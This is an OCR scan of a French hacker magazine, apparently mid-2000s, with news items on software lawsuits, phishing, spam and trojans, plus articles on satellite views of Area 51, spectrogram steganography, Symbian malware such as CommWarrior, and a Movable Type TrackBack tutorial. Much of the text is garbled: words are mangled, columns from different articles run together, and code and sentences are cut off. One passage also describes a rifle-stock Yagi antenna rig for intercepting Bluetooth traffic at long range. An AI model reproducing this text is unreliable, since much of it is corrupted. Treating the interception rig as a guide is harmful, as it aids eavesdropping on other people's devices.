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Dans la peau de David Zamos

ous entrons dans un magasin. Nous achetons, tiens, une souris. Nous payons. Une fois sortis
du magasin, nous regrettons. Nous souhaitions en réaliteé une autre souris, ou fa couleur n'est
finalement plus & notre goft. Bref, quel gue soit le motif, nous retournons dans le magasin.
Excusez-moi, je viens d'acheter cette souris mais j'ai change d’avis, je souhaiterais vous fa rendre.
Voici le ticket de caisse.
La souris est encore dans son embalfage intact. Elfe est toujours neuve. Le vendeur nous regarde I'air un peu
meécontent, mais prend le ticket. Il fe controle, tout semble normal.
Le vendeur reprend fa souris et nous rend ['argent. Dans le pire des cas, if nous fait un bon d'achat. C'est une
scene normale qui se produit tous (es jours dans des milliers de commerces normaux. Entrons maintenant
dans l'univers des personnes normales qui se retrouvent face a des entreprises anormales.
Nous entrons dans un magasin. Nous achetons, tiens, Windows et Office version éducation, celle pour
étudiants, a prix réduit. Nous payons. Une fois sortis du magasin, nous regrettons. Nous retournons dans
le magasin. Excusez-moi, je viens d’acheter ces CD mais j'ai change d'avis, je souhaiterais vous les rendre.
Voici le ticket de caisse. Et c'est la que fes ennuis commencent ! Le magasin ne reprend
pas les CD acheteés, quelle ati’en soit fa raison. On discute. On se querelle. Le
vendeur ne veut pas entendre parler de restitution, Nous rentrons chez nous
avec Windows et Office. Ca ne nous intéresse pas. Que faire ? Eh bien ! lis
sont emballés sous cellophane, ils sont neufs... et si nous les vendions aux
encheres sur eBay.
Microsoft non !
Le CD porte en effet la mention : vente interdite. Nous le vendons tout de
meme. Nous avons viofe les copyright. Microsoft intente alors une action en
justice contre nous. Le grotpe a absolument raison, mais va trop loin. Il se met
a parler de préjudice irréparable porté 2 son image et a ses activités. Microsoft
fait un chiffre d'affaires de presgue quarante milliards d'euros par an. Microsoft
nous demande de rendre F'argent que nous avons gagné illégalement et de payer
les frais d'avocats. Il va méme jusqu’a menacer de faire saisir notre voiture comme
dédommagement.
C'en est wraiment trop ! A notre tour d’intenter une action en justice contre Microsoft. Lorsqu’on met sur
pied un systéme de vente ot if est impossible de rendre un programme non souhaité, comment preétendre
étre dans son droit ?
La nouvelle commence a circuler. Microsoft fait un procés a un étudiant qui souhaitait uniguement retourner
un software inutilisé. Microsoft s'en rend compte et propose que nous retiriops notre plainte et en fera autant.
Mais cela ne nous suffit pas ! Nous exigeons des excuses officielles et le remboursement, symboligue; des
frais soutenus pour engager des poursuites contre Microsoft.
Microsoft refuse officiellement, mafs se met officieusement d'accord avec nous. Au final, nous souhaitions
uniquement retourner un software non utilisé. Et nous étions dans notre droit ou plutot devrait-on dire
David Zamos, 21 ans, étudiant a la Kent State University. http:/{clevescene.com/issues/2005-03-30/news/
feature_print.html.
Mais nous aimerions tant élre a sa pface !
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Hacker News : votre magazine
Vous souhaitez participer a [a vie de votre magazine ou tout simplement pousser un coup
de gueule ? N'hésitez pas a nous faire part de vos remarques a

contact@hackernewsmag.com
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DES ZONES MILITRIRES

G'esl dans la zone o qu'on
vaisseau extraterrestre aurait
semble-t-il atferri. Yrai ou faug,
11043 e [e Saurans jamais.

Ge que nous savons, ¢ est que
grage a Google nous pouvons
observer ce qu'elle renferme.
Ft ce. malgre fous les pamneaux

ne recherche rapitde sur Google : Zone 51. Une multitude de sites apparait
alors, mais nous parvenons surtout bien vite a trouver le plus intéressant,
en lisant une carte traditionnelle des Etats-Unis, zone du Nevada : Groom
Lake, un lac dans la base hyper secréte de I'aviation américaine.
Des lors, les panneaux "interdiction de photographier" qui parsément le péri-
meétre de la zone, n'ont qu'a se tenir tranquilles, car nous avons a notre dispo-
sition le satellite du tout nouveau service Google Maps.
Nous tapons dans le browser maps.googie.com et recherchons Groom Lake,
Nevada : et nous voila a l'intérieur.
Nous y apercevons immédiatement un tas de choses intéressantes. Sur le coté
sud du lac, la célébre base militaire, sur laquelle nous pouvons zoomer. |l
nous est interdit de nous en approcher plus, mais cela suffit a comprendre la
présence de pistes d'atterrissage et de hangars, mais aussi de toute une série
de structures de service.
Plus au nord, certaines zones ont été censurées : des taches vertes recou-
vrent des sites précis. Des silos de missiles nucléaires ? Des zones d'atter-
rissage de soucoupes volantes ? A nous de le découvrir !
Mais la zone la plus a ['ouest du lac est également pleine de surprises. Sil'on
progresse dans la zone couleur sépia, une série de bosses au niveau du ter-
rain se trouvent a proximité de structures qui n'ont rien de naturel.
Des photos déja vues ? Des systémes qui n‘auraient rien de militaire ? Des
bases militaires utilisées pendant la guerre froide désormais tombées en
désuétude et abandonnées ?

Les théories sont nombreuses.
Mais pour nous, grace au service proposé par Google, le golt de l'aventure
ne peut pas s arreter Ia ! Observez plutdt les cartes ci-dessous !
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e nowveau logiciel Omron peut
l s’installer sur un téléphone

portable. 1 est capable de
reconnaitre le visage d’une personne en
analysant les trails de son nes, de ses
yeusx el de sa boucke. Aucun hardware
n’a besoin d’étre rajouré a celus déja
présent dans les 1éléphosnes portabies
équipés d’une caméra vidéo ef, comme
Laffirment les cherchears, il esr trés diffi-
cile qu’il rare son dentification.
1] servira bien siir & reconnaiire son
propriéiaire, mais aussi a mémoriser
Pimage des personnes vues pour la
premaére fois, tour en sachant les recon-
naitre longtemps apres.

7
GAGNEZ DE LARGENT AVEC FIREFON

es browsers alternalifs a Microsoft gagnent de

lus en plus de terrain, mais il est fout aussi vrai

que les attagues contre les systemes de sécurité se

muttiplient également. Plus ils se diffusent et plus

- iis sont pris pour cible. C'est ainsi qu'est né le pro-

grarmme Bug-Bounty, qui offre 500 dollars pour toute

. nouvelle failie trouvée en terme de sécurite dans les

| produits Mozilla. C'est de eette fagon gu'un allemand

est parvent a amasser jusou’a présent la “modigue
somme” de 2 500 dol- ~

fars. Et apres, on dit qu'il

N’y 4 rien & gagner avec

[Open Source !
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L’association des disquaires américains est toujours aux aguets et
a dénoncé les 25 premiers étudiants universitaires américains pour
échange illégal de MP3 a I’aide de systémes p2p, sur le réseau univer-
sitaire qui prévoit désormais le protocole Internet 2. Echanger un fichier
MP3 sur ce réseau s’effectue pratiquement sur-le-champ : 20 secondes de
transfert maxi. RIAA promet une guerre sans merci et a déja dans sa ligne
de mire, semble-t-il, 450 auires personnes. Les perguisitions ont égale-
ment déja commencé en ltalie, chez une quarantaine d'internautes qui ont
échangé des fichiers musicaux et vidéo a I'aide de systemes p2p partagés
qui, en remettant automatiquement en circulation les éléments téléchargés,
augmentent le degré de delit qui reléve alors du pénal. Attention, donc ! lls

ont bien serré la vis !

| ebserve

50 fais/s la
pasition de
fa balle et
agit sur les B
moteurs fixés aux barres du baby-fooi.
Une caméra continue de filmer le jeu et
les images sont anatyséss toutes les vingt
millisecondes et comparées aux images
précédentes, Ce systéme génére ensuite
la stratégie suivante et pilote les systemes
mécaniques qui simulent la présence d’un

homme aux barres des petits footballeurs
de bois. Un systéme pour défier méme les
meilleurs !

STRATELLITE PRET A ETRE LANCE !

e premier “Stratellite” a été réellement
nstruit. |l s'agit d’une sorie de dirigeable

qui se place dans la stratospheére, capable de
couvrir de signal WiFi une large zone de terrain
situiée juste en dessous. 1l n’a besoin de rien, si
ce nest de quelques stabilisateurs qui le posi-
tionnent dés le départ. Puis, i reste seul dans la
stratosphere. Nous en avions parlé it y a presque
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ATTAQUE POSSIBLE |
PAR LA GUERRE ELEGTRONIQUE

| s’appelle Joint Functional Compg-

nent Command for Network Warfare,
ou JFCENW, il s’agit d’un formidable com-
mando mis en place par la Défense des
Etats-Unis, pour étre préis a attaquer et
se défendre sans aucune arme, si ce n'est
celle des connaissances du réseau et des
systémes électroniques des télécommu-
nications.
Un véritable bataillon de commandos téléma-
tiques, capables de se défendre, mais surtout
d’attaguer tout ennemi en temps de querre
a coups d'intrusions dans les serveurs de
I'adversaire. Vous ne pourrez pas en savoir
plus, pour des raisons de sécurité. Mais il
s’agit sdrement de 'un des réseaux les plus
vastes et protégés présents sur Iintemet.

ITUNES : A NOUVERU PERGE

7 se télécharge a ladresse suivante : 2

SUPER UMTS ARRIVE

Auant I’été 2006, nous
aurons les premiers ser-
vices commerciaux super
Umis, a savoir la technologie
Hsdpa (high speed downlink
packet access). Des per-
formances record : 3 Mbps,
mieux que 'immense majo-
rité des lignes Adsl actuelies.
Hardware et software sont
déja préts. Les antennes sont les mémes
que pour I'Umts actuel et les installations
ne devront donc subir aucun changement
physique, mais juste une mise a jour des
softwares. Des cartes pour PG sortiront
sans doute, suivies de téléphones porta-
bles qui feront office de modem. Il faudra
juste connaitre le prix de la connexion, car
vu les prix pratiqués aujourd’hui, un petit
tour sur le web par téléphone portable a de
quoi vider plus d’un portefeuille.

ura.jpltips/

pymusiquel et permet de télécharger directement les fichiers a
partir d’iTunes sans protection. Apple étaiz déja parvenu a cou-
rir aux abris, mais il semble vraiment que le progranme écrit
par Jon Johansen (oui, toujours lut, Dud Jor) et quelgues-uns
de ses amis solt paroenu a provoguer une nouvelle bréche.

un an, sur ces mémes pages, comme d'une
curiosité technologique. A présent, il a 6té con-
“struit et semble éire intéressant aussi bien pour
I'aviation américaine que pour la Nasa. lis Font
appele Sunswire One et est capable d'ivadier tne
large zone comme le Texas. Dieu seu sait quand
la WiFi couvrira notre pays tout entier !

1

WHDOWS XP 5P2
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DES BOIIERS
1 NON PAS DES PROGRAMMES !

box Modele H est prét ! Il s’agit

d’une petite boite basée sur
Linux, capable de protéger fotale-
ment votre réseau, de vous propo-
ser des services et de vous garantir
'anonymat et la sécurité par le biais
de remailers, cryptographies et fon-
ctions par nceud Freenet. Qu'est-ce
que ca signifie ? Que le méme groupe
qui avait modifié la Xbox en en faisant un
appareil garantissant la confidentialité des
données, a amélioré le projet et réalisé un
systéme indépendant et trés facile a utiliser,
sans parties en mouvement. En théorie, il
serait possible de P'acheter, de le relier a
P'Adsl sans rien faire d’autre, et de [utiliser
en devenant substantiellement transparents
sur e réseau. Nous attendons également le
modéle l1, dont on assure qu'il sera encore
plus efficace. Aprés quoi, s'il se diffuse,
le niveau de confidentialité pouvant étre
atteint par chacun d'entre nous, sera bien
plus important. Et ce, en dépit des lois sur
le p2p. Vous trouverez toutes les infos &
Fadresse sui-
vante : Www.
winstonsm
ith.info/pbox/
index.html.

=

Les performances des ports 1 394 diminuent de facon drastique lorsqu’on
installe le service pack 2 de Windows. C’est ce que nous avons pu constater,
nous utilisateurs, et Microsoft qui a mis son énieme patch spécifique sur son site :
http://support.microsoft.com/kb/885222#XSLTH3120121123120121120120).

Un patch qui demande méme d'aller toucher manuellement les registres en utilisant regedit,
donc avec des risques de graves endommagements et de dysfonctionnements

et slirement une mise a jour non adaptée a I'usage courant. Lordina-

—
=

teur continuera donc sans doute de subir des lenteurs exaspérantes, /7 °f

-que ce soit en téléchargeant les photos a partir de numériques

équipés de Firewire, qu’en utilisant des disques externes ou autres
dispositifs qui passent par les ports 1 394 du PC. Une énieme
preuve des colts cachés d'un systeme opérationnel qui fonc-

tionne par rafistolage.

[ [p5) [ www.hackermag.com]




__avoir été justement
—gritiqué. ~

~ Advantage est en-

a Suéde n’a pas fins de nous

étonner. Apreés Ja création du

«Parti des Pirates» qui se
présentera en septembre aux Elections
législatives, et qui espére bien rem-
porter quelques siéges. Apres Je feu
du chat et de la souris entre le fameus,
stre tosrent «The Pirate Bay» et les
autorités suédoises. Votla que ce pays
qui ne semble jamais & cours d'idées
est en tratn de voir naitre une «assu-
rance pirates. Le principe est simple,
Pinternaute suédois paye 140 cou-
ronnes (soit environ 15 eurvs) pour
tre assuré, et $°1l se trouve poursusvs
pour avoir téléchargé ou partagé
des contenus protégés par le droit
d’auteur, ¢’est lassurance qus prend
en charge les amendes. 11 suffisait d'y
penser. Le site : www.tankafritt.nu.

non pas vers la copie du
site. Linternaute est tota-
lement trompé car 'URL

L'université britannique de Dundee proposera
a partir de septembre un dipléme de piratage
éthique (Ethical Hacking). Le but est la forma-
tion des «bons» pirates pour lutter contre les
méfaits de la cybercriminalité. Un équivalent
d'un bac+4 est requis pour suivre cette for-
mation. Les futurs diplomes simuleront des

EI-a mise a jour du
msysitme de véri- @
Windows, Genuine
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Paypal a enregistré T i
une attaque de *:“f-« B | T e
phishing trés sophisti- = g |
quée car l'internaute est e

orfenté vers le vrai site et =

du site est valide, la connexion sécurisée en SSL et le certificat de la
banque confirme qu’il est bien connecté sur le site de Paypal. Plusieurs
sociétés prestigieuses ont déja fait les frais de ce genre d’attaques qui
exploitent les failles de type redirect, cross site scripting et frame.

N®

attaques diverses Uutilisées par les cybercrimi-
nels dans le but d'évaluer la sécurité d’'un
systeme ou d'un réseau pour proposer des
solutions.

EHCEL

"ne nmmalle fai{!e vient d’étre dé-

ls’agit de la troisieme faille dé-
e en moins de deux semaines et
| ste saltenge ERcore. Gette faille n'est
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LES CHEVAUH

DE TROE
TOLUOLRS
EN TETE

es chevaux de Troie tiennent le

haut du pavé dans les attaques
virales déenombrées en mai 2006.
Les vers et virus ne représentent
que 12% des menaces.
La tendance des pirates a changé
puisse qu’ils préférent I'utilisation les
chevaux de Troie. Netsky-P qui a vu
le jour en 2004 fait partie des mena-
ces les plus répandues et la famille
MyTob figure parmi les mieux classes
avec cinq variantes dans le
top Ten.

a prendre @ la légeére car un fichier Flash
intégré dans une feuille de calcul combiné
avec un code Javaseript malicieux pourrait
exécuter de maniére automatique le code
sur la machine. Selon Microsoft un patch
correctif est prévu..

FISHING

NOUVEIEWERSION

pres le fishing par mail gui fonctionne
de moins en moins bien, grace a la

vigilance des internautes une nou- 9%

velle arme vient de voir le jour. Le
téléphone devient I'arme de poing
de phishers de maniére indirecte, la

ESRIONNEGE

fin de limiter I’espionna-
ge industriel ou le vol de
données sensibles la société
Prim’X vient de metire au
point un systéeme de chiffrement
permanent des données.
Les données présentent sur le lap-
top sont cryptées a la volée pour
les rendre invisible a un tiers non
autorisé. Plusieurs options sont pro-
posées pour lire les donneées : I'au-
thentification classique -login mot
de passe-, carte a puce et biométrie
(empreinte digitale ou rétinienne).
Cette technologie appelée ZoneEx-
press permet aux personnes tier-
ces d’utiliser le PC sans avoir
acces aux données sensibles.
Il est possible de protéger
I'intégralité du disque dur ou
bien certains répertoires. A
noter que le fichier swap est
également crypté de méme
gue les fichiers effacés par
Putilisateur. Une solution
pratique et efficace sur-
tout lorsqu’on connait
les failles de sécurités
du Wifi.

victime ne recoit pas d’appel mais bien un
mail reprenant I'identité de fa bangue avec
cette fois un numéro a composer arrivant
sur un serveur vocal n'appartenant pas a
la banque. Une fois connecté le serveur
demande le nurnéro de carie bancaire pour
I'enregistrer. Cette nouvelie technique peut
encore une fois tromper l'internaute non
averti, apres les emails douteux il va falloir
se méfier des numéros de
téléphone.

{'informatique dans des en-
ireprises de plus de 250
employés en Allemagne,
ltalie, France, Pays Bas &t au
Bagaanmréindre d/Ateivgeme
~  eaivercHobienfiash antégie /

PAS DE TEHTE S\P,
NOUS SO
DES SPAIMIMEURS

Lg spam est en
ugmentation con-
stante di aux images
qui ne sont pas prises
en comptes par les
filtres des clients mail.
Les images ne conte- S
nant aucun texte, les g8
filtres sont compléte-
ment leurrés. Le volume
de Spam utilisant des images est passé de
1% en 2005 a 12% de nos jours. Le nombre
de messages spammés envoyés chague jour
est lui aussi en hausse de 40% depuis avril
2006. Cela représente plus de 55 milliards de
messages envoyés alors qu’un an auparavant
on frolait les 30 milliards. Une véritable plaie
pour les administrateurs réseaux. Pour lutter
contre ce fléau, certains on tout simplement
décidé de bannir les emails au format HTML
qui contiennent des images.

On s’est apercu que sur les 35 millions de
domaines enregistrés en avril, 32 millions
n’avaient jamais été enregistrés compléte-
ment et expiraient au bout de cing jours.
Une nouvelle arme pour les Spammeurs.

Coure ou [Tlonpe
DE LA SECURITE

elon une étude d'IPSOS conduite en mai
2006 aupres de 600 professionnels de

dan$ranecfeodleieieccaicid
camdisvéTeayeatrieme gode
Javasoapt! Hsiecisuxiaiss
Patfs-Gacateifdmgneartibre
Brésil?

{ (p7) [www.hackermag.com)
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8% 1EGANOGRAPHIE

i MYSTERE

les images diaboliques cachees dans le spectro-
gramme d'un morceay techno? I nous faut un
steme specifique afin de résoudre ce mystere

\___—_______,,.—-—-

ux frontiéres de la stéga-
nographie, c’est-a-dire 'art
de dissimuler des informa-
tions dans les images, on
trouve la stégano...musi-
[ | que : I'art de dissimuler
des images dans la musique.
Il s’agit bien d'un art, car le processus,
entierement digital, s'apparente plus a la
réalisation d’'un tableau par un fou qu'a un
véritable systeme de cryptage. Voila pour-
quoi cela semble si mystérieux

Il vous faut tout d’abord une image
.bmp, pour servir d’'image cobaye.
Vous pouvez la créer dans Paint, ou
bien utiliser I'image de votre visage

photographié a la webcam. Vous faites
comme vous voulez, mais I'image doit
étre en format .bmp

Ensuite, il faut vous procurer un
programme capable de transfor-
mer une image en son pur (?1).
Par exemple Coagula Light, que vous
trouverez a I'adresse http://hem.pas-
sagen.se/rasmuse/ Coagula/Coagu-
laLight16i.zip, et qui convient tres
bien si vous utilisez Windows.

Rassurez-vous, les utilisateurs de

. Macintosh ont aussi de quoi se metire

sous la dent: Metasynth, a 'adres-
se www.uisoftware.com/MetaSynth/
index.html. Certes, il n'est pas léger
Iéger, puisqu’il pése la bagatelle de
70 MB. Mais c’est un bon investisse-
ment.

Poursuivons, sous Windows.

Il vous mangue encore un morceau de
logiciel: Spectrogram est parfait pour
ce que nous allons faire. C’est un
logiciel pour analyser le spectre d’un
son, qui permet d'explorer la structure
de n'importe quel morceau ou acqui-
sition sonore.

Vous pouvez le télécharger a I'adres-
se www.visualizationsoftware.com/
gram/programs/gram_setup.exe. Au
bout de 10 jours, vous devrez vous
enregistrer pour continuer a l'utiliser,
mais 10 jours sont bien suffisants
pour résoudre les mystéres de notre
fichier.

Les utilisateurs de Mac OSX peuvent,
en remplacement, utiliser AudioXplo-
rer (www.arizona-software.ch/appli-
cations/audioxplorer/download/Audio-
Xplorer111.dmg), un trés bon logiciel
shareware, idéal pour cette activité.




iEnsuite, offrons notre image fraiche-
ment créée a Coagula Light, en passant
par le menu Fichier > Open BMP...
Générer le fichier .wav correspondant
a l'image que nous venons d'importer
est d’'une incroyable simplicité: un
' simple clic sur I'icéne avec les deux
engrenages rouge et vert entrainera
la création du spectre sonore par le
biais d'un filtre qui élimine les signaux
de bruit et qui permetira la bonne con-
servation de l'image finale.

A présent, retournons dans le menu
Fichier et enregistrons le son avec
'option Save sound As...

|
] Enfiﬂ,‘dﬁ\}rons Specirogram et

choisissons F2-Scan File a partir
du menu Fichier. Dans la fenétre des
. | parametres, sélectionnons impérati-
|| vement:
| | -Channels: Dual (pour plus d'effet! :) )

. -Scroli2
Créons une image bitmap, parexem-| -Freq Scale: Log
ple dans Paint. Il s’agit ici d’'un texte,|| Laissons tout le reste tel qu’il est,
mais cela pourrait étre n'importe quel- | c’est-a-dire toujours récupérable
le autre image. i

gréce a un clic sur Reset.
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Nous sommes en frain de voir ce que
nous écoutons! Notre fichier sonore
génére un spectre audio qui prend la
forme de limage créée au début de ce
processus.

R T Y

HACK HACK
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L pine:

Prenons maintenant le deuxieme
morceau de I'album Windowlicker
de Richard D.James, plus connu
sous le nom d’Aphex Twin (1999).
Le titre qui nous intéresse a un nom
absolument impronongable, qui ressem-
ble de trés pres a une formule mathé-
matique complexe. Et c’est justement ce
que cache ce morceau qu'il nous faut
découvrir.

Commencons par extraire du CD la piste
musicale. Ensuite, nous la donnons en
pature au programme Spectrogram, au
format .wav. La
configuration
reste la méme
que celle uti-
lisée précédem-
ment.

Voici le spectre
dumorceau! Un
spectre dans le
spectre, sem-
bie-t-il... Aphex
Twin doit avoir
une conception
bien paranoiaque
desoncorpsetde =
son visage, a en
juger par la facon

dont il cherche a se transformer par tous
les moyens. Mais peut-étre que c’est
justement l& son art.

Lorsqu’on passe en fichier MP3, com-
me dans le cas de cette transforma-
tion, on comprend tout de suite ce que ,
signifie ‘méthode de compression avec |
perte de données’. Méme notre spectre

devient plus évanescent, comme si on ;
allait le perdre... !

i

, “'*.‘

= .
'

|
|
|
|

|
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gres Et ils en
profitent. Les dermeres géneérations de tro-
jans pour téléphones portables ont tous en
commun une specificité: ils requierent la
pariicipation active de ['utilisateur. Exacte-
ment comme pour I'e-mail. Vous recevez
un message qui vous invite & ouvrir un
fichier joint, et si vous l'ouvrez, vous étes
cuit. Il suffit de ne pas le faire.

Or, si une peur, parfois paranoiaque, s'est
développée envers tous les fichiers joints
envoyeés par e-mail, ce n'est pas le cas chez
les détenteurs de téléphone portable, qui
sont des cibles bien plus faciles étant don-
né les possibilités de contrdle reduites et
I'absence de méfiance. Résultat : ils se
retrouvent avec une série de problemes,
tels que la diffusion de leurs donnéees per-
sonnelles ou le blocage de leur téléphone.

o1t Tout ce qui est
Bluntooth est potentlellement arisque, car
c'est par |a que passent les maleware (logi-
ciels malveillants) pour se propager. Com-
me c'est le cas pour le dernier-né des che-
vaux de Troie pour Symbian, nommé Hob-
bes.A

Méme s'il n'est pas trés récent, ce virus
s'est mis a apparaitre sous la forme d'un

antivirus, et plus précisément comme de

I'antivirus Symantec pour le systéme
Symbian.

Bien entendu, il s'agit d'une escroquerie.
Et si l'utilisateur a le malheur de répondre
Oui a la proposition d'installation, il peut

— —

wt

AN ‘/

[‘3

dire adieu a son téléphone. Une petite pré-
cision: Hobbes.A se présente avec la que-
stion "Install Symantec Antivirus?" "Yes"
“No". Répondre a cette question entraine-
ra la désactivation du menu Applications
de votre ieléphone.

Pour l'instant, il semble que Hobbes.A ne
touche que les anciennes versions de
Symbian, installées sur des téléphones peu
récents. NGage et 3650 en fait partie.

Or, le remede est relativement simple : ne
pas redémarrer le teléphone, et passer par
le gestionnaire des applications pour sup-
primer le fichier.

En ce qui concerne les deux premiers, la
version B est une version simplifiée de la A,
laquelle s'attaque uniguement a l'antivirus
Symworks pour téléphones mobiles.
Drever.C reussit a outrepasser les protec-
tions de pratiquement tous les antivirus,
quand ce sont des versions moins récen-
tes. Son systeme d'attague est digne d'un
veritable tank: il endommage les secteurs
de démarrage du logiciel antivirus installé
sur le télephone, ainsi que tout le code qul
rencontre sur son passage.

Pour l'éviter, vous devez mettre réguliere-
ment & jour votre antivirus, et, comme tou-
jours, n'installer que ce qui provident de
source sure.

Si, toutefois, vous avez installeé par inad-
vertance le fichier SIS de Drever.C, un mes-
sage apparaitra alors sur votre écran, vous
confirmant sa présence: " FSECURE




omme nous le disions, la source du pro-
bieme est Bluetooth. Les téléphones
paortahles qui en sont équipés sont de véri-
tables portes ouvertes aux malware.
Etily a peu de chances que les choses s'a-
méliorent, tant que le protocole Bluetooth
reste ce qu'il est. Et on ne peut méme pius
s'appuyer sur le fait qu'il posséde un rayon
d'action limité (jusqu'a 10 métres environ)
pour voir en Bluetooth un systéme plus sdr.
En effet, il suffit de se procurer une antenng
¥ Yagi pour fréquence WiFi (fréquence égale-
ment utilisée par la technologie Bluetooth)
pour se fabriquer un systéme portable

Please, don't make new antiviruses for my.
viruses and | stop make viruses for your
antiviruses. My target is Simworks! =)*
Fsecure se réfere a une societé spéciali-
sée dans la sécurité et productrice d'anti-
virus, y compris pour mobile.

i S SE as etre tres repandu
et n'inquiéte pas encore outre mesure la
communaute des utilisateurs et des déve-
loppeurs d'antivirus spécifiques. Il tient son
nom du fait qu'il 2 pour effet principal de
transformer toutes les icones de votre téle-

Install

simple et efficace, capable d'intercepter
(et de transmettre ?) les données de conne-
xions Bluetooth jusqu'a presque 2 Km.

Ce systéme a déja été réalisé, en achetant
une antenne Yagi a 60 dollars environ
(www.hyperlinktech.com/web/hg2415y.php),
un ordinateur avec Linux extrémement minia-
turisé, équipé de Bluetooth et fonctionnant
sur batterie (http://gumstix.com/), ainsi gu'‘u-
ne crosse de fusil pouvant maintenir fe tout
pointé de la maniére la plus stable possible.
Bien sdr, si vous étes repéré avec un engin
du genre, il y a de fortes chances que
vous vous retrouviez au poste, en train

phone en une belle série de tétes de mort.
Enfin, belle, fagon de parler...

X0 1~ ~ 1ae 1 sap_
pelle ComWarnor A et nous went de Rus-
sie. Grace au développement croissant de
la conneciivité et I'absence chronique de
contréles adapiés, ComWarrior est en train
de devenir une veritable fontaine de trafics
de malware en tout genre.

La particularité de ce virus est de se répli-
quer également par MMS sur tous les
systemes Symbian Série 60. Et 12 aussi, la
participation de lutilisateur est requise, afin
dlinstaller le fichier parmi les applications
du téléphone. Ce virus est également capa-
ble de changer de nom, mais son code
contient toujours le texte "CommWarrior
v1.0 (c)2005 by e10d0r ATMOS03KAMA
HEAT!", ce qui, en russe, signifie quelque
chose comme "Non & la bétise".

Lorsque ComWarrier.A est installé, il est

copie aux emplacements suivants:

Symantec Anti-

8 - WEWIBIE
]

-

b |

&
4' ’

d'expliquer ce que vous fabriquiez avec un
outil ressemblant comme deux gouttes d'eau
a un fusil de précision. En revanche, le diver-
tissement est garanti.

Quoi qu'il en soit, pour preuve des trous
dans Blustooth, tout e monde ne sait pas
qu'il existe une vingtaine de virus, et pas
seulement parmi ceux pour mobiles, capa- |

bles de trouver une connexion Bluetooth

afin de s'auto-répliquer, comme cela a été
démontré récemment lors d'un meeting
portugais sur la sécurité Bluetooth, orga-
nisé justement par le SIG Bluetooth
(www bluetooth. org)

—

\system\apps\Commilarrior\
COMMEUAITION.BHE
\system\apps\Commilarrior\
comrec. ml

etlors uerum:mn copie les fichiers
suivants:

\system\updates\commrec.mdl
\system\updates\commuarior.exe

et reconstruit le fichier Sis suivant :
\system\updates\commusis

Enfin, il se met a chercher d'autres téle-
phones a infecter via les connexions Blue-
tooth, afin d'envoyer un MMS infecté par
lui-méme a toutes les connexions disponi-

bles, en s'acharnant jusqu'a ce quiil réus- |

sisse a trouver quelgu'un.
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QKWX,

rackBack est un
systeéme développé
par Movable Type,
qui permet le dialo-
glue et la communica-
tion peer-io-peer de
blog a blog. Supposons que
'0US ayez écrit un post au sujet
Fl‘un jeu qui vous a beaucoup plu.

uelgu'un le lit et, au lieu de
jaisser un commentaire sur
otre blog, décide d'en parler sur
on blog Movable Type. Grace au protoco-
e TrackBack, on peut vous envoyer auto-
atiguement un ping sur votre blog, qui
ous prévient de la publication d'un article
e référant a votre post de départ. Voiia, un
ien explicite entre deux posts vient d'étre
etabli.

Sila fenctionnalité de TrackBack (rétro-
lien) est déja dans les templates, comme
‘estle cas avec les versions plus récentes

T

[ i £ Tive
T Corgey

Ne passez pas
£5I¢ des nom-
Brevses fanelions
de Mavable Type,
goi en font 'on
Hes mejlledrs
matesrs de bleg
SHr e warshe

ieimosly Ea A =
—migoo

pvable Type &
nu un logicié
payant. Toutgfms. 1
yous limiteza un aut
Vous e frouverez

hitp: (A sixapart

EST CORRECT

<t désormais deve-
| en grande ;}arhe

| reste gratuit st VOUus
our et a trois blogs.
3 |'adresse
.com/movab\etype/ ;

de Movable Type, vous pouvez partir de I'é-
tape e). Sinon... partez d'ici:

a) créer un template de liste Track-Back.
Dans le template de liste, éditer le Track-
Back Listing Template (gabarit listant les
rétroliens) et l'initialiser avec le corps des
templates par défaut. Si vous ne l'avez pas,
vous pouvez le télécharger sur
hitp://www.sixapart.com/movabletype/
default_templates#trackback listing_template;

b) meiire a jour les feuilles de siyie.
Les pings TrackBack apparaissent dans
un popup semblable a celui utilisé pour
les commentaires. Le template par défaut
ajouté précédemment utilise certains
styles CSS, disponibles uniquement
depuis la version 2.2 et au-dessus. S'ils
ne sont pas déja présents, vous pouvez
les télécharger a partir de
http://mww.sixapart.com/movabletype/def
ault_styles, copiez-en le contenu et col-

lez-les dans le template concerne. Ceci
est valable s'il s'agit des styles par defaut.
En revanche, sile TrackBack Listing Tem-
plate est personnalis€, il est possible d'a-
jouter de nouveaux styles dans les clas-
ses .trackback-url, .trackback-body et
.trackback-post;

c) ajouter le code TrackBackau templa-
te Main Index. Le code, mentionné ci-des-
sous, doit étre ajouté dans la section
<script> du template Main Index susmen-
tionné:

function DpenTrackback (c) {

windouopen(c,
‘widiti=480 height=480,scrolibars-yes;sta
;us=ys’);
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LES AUTRES
UTILISATIONS
DU TRACKBACK

Le TrackBack peut également avoir d'au-

ires fonctions. Vous pouvez, par exem-
ple, associer les URL des pings TrackBack &
des catégories de votre blog. Quand un mes-
sage est posté dans cette catégorie, une noti-
fication est envoyée aux URL associées a cet-
te catégorie. Ainsi, un site distant peut trés
facilement tenir note des liens Web vers tout
ce qui concerne un argument particulier.

1 Par exemple, si vous aviez un site a propos
de Perl, vous pourtiez conserver une archi-
ve de liens Web vers tous les articles ayant
comme objet Perl.

En addition. ajoutons le code qui va sui-
vre dans la balise <MTEntries>, afin de
visualiser un lien de Track-Back correspon-
dant a chacune des entrées:

) ajouter les données des pings Track-
Back aux templates des archives et de
findex. Il faut ajouter ce qui suit au tem-
plate Main Index, dans les templates des
catégories et ceux des archives par date.
L'ajout doit étre fait juste aprés la balise
<MTEntries>:

Le méme ajout doit éire effectué dans
le template individual Eniry Archive,
mais il peut étre placé a n'imparte quel
endroit du document.

A la premiére reconstruction du blog,
les ajouts fourniront les informations qui
permettront aux bookmarklets (applisi-
gnets) de Movable Type d'identifier les posts
comportant la fonction TrackBack et de
reconnaiire 'URL des pings correspondant.

e) Creer un Bookmarklet compatible
TrackBack. La seule différence avec un
Bookmarklet normal vient du fait que,
quand on f'utilise pour envoyer un post,
il controle la page courante de notre navi-
gateur, afin de détecter les articles avec
possibilité de TrackBack (il le fait par le
biais de la balise ajoutée au point d). S'il
y en a, le bookmarklet permet de sélec-
tionner ceux que nous pouvons pinguer
dans nofre blog avec un nouveau post.
A chaque envoi de post, Movable Type
pinguera automatiqguement I'URL appro-
prié, comme si vous linscriviez manuel-
lement dans le champ URLSs to Ping.

Si vous utilisez déja un bookmarkiet, il
s‘agit alors simplement de le recréer en uti-
lisant les mémes champs gue précédem-
ment, plus le champ TrackBack items. S'il
n'y est pas, il suffit de le créer.

HARD HACKING
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Si tout fonctionne correciement, vous
pouvez charger Ia page
http://www.movabletype.org/trackback,
